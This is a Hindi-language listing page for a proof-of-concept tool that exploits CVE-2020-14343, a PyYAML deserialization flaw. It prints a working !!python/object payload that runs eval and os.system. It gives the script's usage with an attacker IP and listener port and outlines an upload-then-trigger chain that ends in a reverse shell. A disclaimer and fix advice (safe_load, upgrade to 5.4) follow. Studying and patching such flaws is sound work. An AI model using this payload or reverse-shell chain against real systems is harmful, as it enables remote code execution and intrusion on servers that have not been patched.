CVE-2020-14343-PyYAML

CVE-2020-14343 का पेलोड

रिपॉजिटरी देखें

29 महीने पहले

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

साझा करें

भेद्यता सिद्धांत

PyYAML yaml.load() का उपयोग करके अविश्वसनीय डेटा को पार्स करते समय, खतरनाक YAML टैग (जैसे !!python/object) को प्रतिबंधित नहीं करता है, हमलावर मैलिशियस YAML सामग्री बनाकर मनमाना Python कोड निष्पादित कर सकता है।

पेलोड मुख्य:

!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

उपयोग विधि

python poc.py <लक्ष्यURL> <हमलावरIP> <सुननेवालापोर्ट>

उदाहरण:

python poc.py http://vulnerable-site.com 192.168.1.100 4444

हमला प्रक्रिया

स्क्रिप्ट स्थानीय रूप से TCP लिसनर शुरू करती है
लक्ष्य /upload इंटरफेस पर मैलिशियस YAML फ़ाइल अपलोड करें
/login इंटरफेस ट्रिगर करें जो YAML लोड और पार्स करता है
लक्ष्य सर्वर पेलोड निष्पादित करता है, हमलावर को रिवर्स शेल वापस भेजता है

निर्भरता स्थापना

pip install requests

अस्वीकरण

⚠️ यह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है!

कृपया अवैध उद्देश्यों के लिए उपयोग न करें
उपयोग से पहले सुनिश्चित करें कि आपके पास लक्ष्य सिस्टम का अधिकार है
लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है

सुधार सुझाव

yaml.load() के बजाय yaml.safe_load() का उपयोग करें
PyYAML को 5.4 या उससे ऊपर के संस्करण में अपग्रेड करें
उपयोगकर्ता इनपुट को सख्ती से मान्य करें

संदर्भ लिंक

टूल डाउनलोड करें

CVE आईडी	CVE-2020-14343
प्रभावित घटक	PyYAML < 5.4
भेद्यता प्रकार	डिसीरियलाइज़ेशन रिमोट कोड निष्पादन (RCE)
खतरा स्तर	उच्च जोखिम